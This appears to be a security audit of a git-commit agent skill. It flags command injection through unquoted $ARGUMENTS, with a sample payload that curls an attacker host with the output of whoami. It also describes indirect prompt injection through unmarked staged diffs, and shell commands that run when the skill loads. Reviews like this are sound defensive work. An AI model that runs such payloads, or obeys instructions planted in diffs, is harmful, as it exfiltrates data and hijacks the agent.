The Agent Skills Directory

[COMMAND_EXECUTION]: The skill constructs a shell command git commit -m "<message>" by directly interpolating user-supplied input from $ARGUMENTS. This creates a command injection vulnerability where a user can execute arbitrary shell commands by providing input containing shell metacharacters (e.g., message"; curl http://attacker.com/$(whoami); #).
[PROMPT_INJECTION]: The skill is susceptible to indirect prompt injection (Category 8) due to its data ingestion patterns.
Ingestion points: Local repository changes are ingested into the context via !git diff --staged in SKILL.md.
Boundary markers: None. The output of the diff is inserted into a standard markdown code block without explicit instructions for the model to ignore instructions embedded within the code changes.
Capability inventory: The skill has the capability to execute shell commands using the Bash tool (git commit and git show).
Sanitization: No filtering or sanitization is performed on the diff output before the agent uses it to reason about and generate commit messages.
[COMMAND_EXECUTION]: The skill utilizes dynamic context injection (the !command syntax) to execute git status and git diff --staged at load time. This mechanism causes shell commands to run automatically when the skill is accessed, which serves as a stealthy execution vector that could be exploited if combined with more sensitive commands.

commit